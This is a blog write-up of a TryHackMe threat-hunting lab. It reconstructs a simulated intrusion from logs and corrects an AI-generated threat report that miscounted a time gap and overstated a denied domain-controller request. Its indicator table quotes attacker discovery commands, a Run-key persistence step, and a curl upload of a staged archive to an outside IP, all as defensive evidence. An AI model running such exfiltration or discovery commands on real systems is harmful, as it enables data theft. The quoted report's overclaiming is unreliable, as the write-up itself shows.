Skip to main content

Quiet as the Grave: A Threat Hunt Case Study (TryHackMe SOC)

Updated 6 min readMarkdown
Quiet as the Grave: A Threat Hunt Case Study (TryHackMe SOC)

What this is

Quiet as the Grave is a TryHackMe threat-hunting scenario, again set at TryHatMe Studios. Unlike an alert-driven SOC queue, a hunt starts from a hypothesis, not an alert: threat intelligence attributed to a group called Pinstripe Moth suggested the studio may have been compromised through a lure sent to a developer, with the actor then using valid credentials and ordinary Windows tooling to move toward the studio's unreleased NeuralNexus work.

The room builds its own attack chain interactively, stage by stage, and ends by handing the analyst an AI-generated threat report summarizing the findings. That last part is what makes this scenario worth a separate writeup from Repossessed: the AI report got two things wrong, and catching those errors rather than accepting a confident-sounding summary is the actual lesson here.

The attack chain

Stage names and technique IDs below are corrected from the room's own display, where verification during the hunt showed otherwise: stage 3 is persistence (T1547, Run Key), not T1137 as initially shown; stage 7 is a denied Kerberos ticket request against the domain controller, not a confirmed authentication, based on PowerShell error event 4100 ("Access is denied").

Checking the AI-generated threat report

This room hands the analyst a polished, AI-written threat report once the chain is built, styled as an executive summary from a "Senior Threat Hunter." Confident formatting is not the same as correct content, and this one had two concrete errors worth catching rather than citing.

What the report claimed What the logs actually show
"Fifty-six seconds later, curl.exe was invoked" to upload the archive after it was staged The archive was built at 16:27:28, and the upload ran at 16:27:54 26 seconds, not 56. A simple subtraction the report itself should have gotten right.
Kerberos ticket requests for DC-01$ and krbtgt framed as "potential preparation for DCSync, Golden Ticket, or domain persistence," with a recommendation to "audit DC-01 for any successful Kerberos anomalies" language that reads as domain compromise in progress PowerShell error event 4100 ("Access is denied") at the same timestamp shows the request was denied, not completed. Nothing in the available logs shows a successful domain-controller authentication.

The second error matters more than the first: it's the difference between "the actor reached the domain controller" and "the actor tried and failed to reach the domain controller." A report that overstates the second as the first inflates both the severity rating and the remediation urgency exactly the kind of overclaim the honest-wording principle exists to catch, whether the author is a person or a model.

The hypothesis verdict

The hunt asks directly: has the hypothesis been proven or disproven?

For the lure-to-exfiltration-attempt path, the evidence supports proven: a developer-targeted lure led to execution, persistence, discovery, two hops of lateral movement using a valid service account, and an attempted exfiltration of staged data, each stage backed by a specific event, not an inference.

For the domain-controller piece specifically, the honest answer is narrower: the actor attempted Kerberos ticket requests against the DC and was denied. Folding that into a blanket "proven" verdict, the way the AI report's language invites, overstates what actually happened. The right framing keeps both parts visible: the hypothesis holds for the path that reached NeuralNexus's release materials, and stays unconfirmed specifically denied, not merely unproven for the deeper domain compromise the report implied.

Indicators and queries, by stage

Stage Exact indicator Figure worth checking
1, Execution review-helper.ps1 run from a folder named NeuralNexusReview, launched via Explorer by s.reyes Delivery method (how the file arrived) isn't in the available logs; don't assert a vector you can't see
2, C2 Inline C# compiled at runtime, HTTPS beacon to 45.147.230.131:8443 161 connections between 12:29:51 and 16:28:45, about a 4-hour span and count, not any single beacon
3, Persistence Copies itself to AppData\Local\NeuralNexus; registers Run key NeuralNexusReview Confirmed re-execution: Explorer relaunches the copy at 12:44:04
4, Discovery whoami, nltest /dsgetdc:tryhatmestudios.thm, net user /domain Run from the beacon's own PowerShell session, not an interactive logon
5, Lateral movement svc-studioops over WinRM to THM-LSULLIVAN; event 4648, SPN HTTP/THM-LSULLIVAN Credential source for svc-studioops is unconfirmed a lead, not a finding
6, Lateral movement Pivot from LSULLIVAN to THM-MSMITH (ticket at 15:03:37); \\*\ReleaseStaging and \\*\IPC$ accessed over SMB Share name itself (ReleaseStaging) signals the target's actual interest
7, Credential access attempt Kerberos ticket requests for DC-01$ and krbtgt from both LSULLIVAN and MSMITH PowerShell error event 4100 ("Access is denied") at 13:48:25; the request failed; treat as attempted, not successful
8, Collection review-cache.zip built in the user's Temp folder Contents unconfirmed; likely sourced from the shares accessed in stage 6, not directly observed
9, Exfiltration curl.exe --insecure --upload-file review-cache.zip to https://45.147.230.131:8443/ingest/review-cache.zip, from the same persistent PID 5020 Command executed; server-side receipt is unconfirmed: "upload attempted," not "data exfiltrated"

What the logs could not prove

  • How the lure reached s.reyes. The script's execution from Explorer is observed; the delivery mechanism (email, a shared link, a trojanized package) is not.
  • Where svc-studioops credentials came from. The account is used for lateral movement starting at stage 5; nothing in the available logs shows how it was obtained.
  • Whether the domain controller was actually reached. This is the correction above, restated as a limitation: event 4100 shows a denial, not a silent success elsewhere that simply wasn't logged. State the denial; don't assume a quieter compromise behind it without evidence.
  • What review-cache.zip actually contained. The archive-build command is observed; its contents, and therefore the real scope of data exposure, are not.

What this exercise was for

The technical chain here lure, beacon, Run key persistence, two hops of lateral movement with a valid service account, a denied Kerberos attempt, staged and uploaded data is a useful pattern on its own. But the specific skill this room tests is different from Repossessed: it's whether an analyst will verify a confident AI-written summary against the raw timestamps and error codes, or just forward it. A 30-second arithmetic error and an overstated domain-compromise claim both sat inside professional-looking prose; neither survived a direct check against the logs.

This is a TryHackMe threat-hunting scenario, not a real intrusion, and the "Senior Threat Hunter" byline on the AI report is itself part of the simulation. It's written up here as a demonstration of verification method, not blind trust in generated reports, including ones a tool like this produces, in keeping with the room's own guidance on sharing writeups.

About the author

  • Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

No comments yet. Be the first to comment.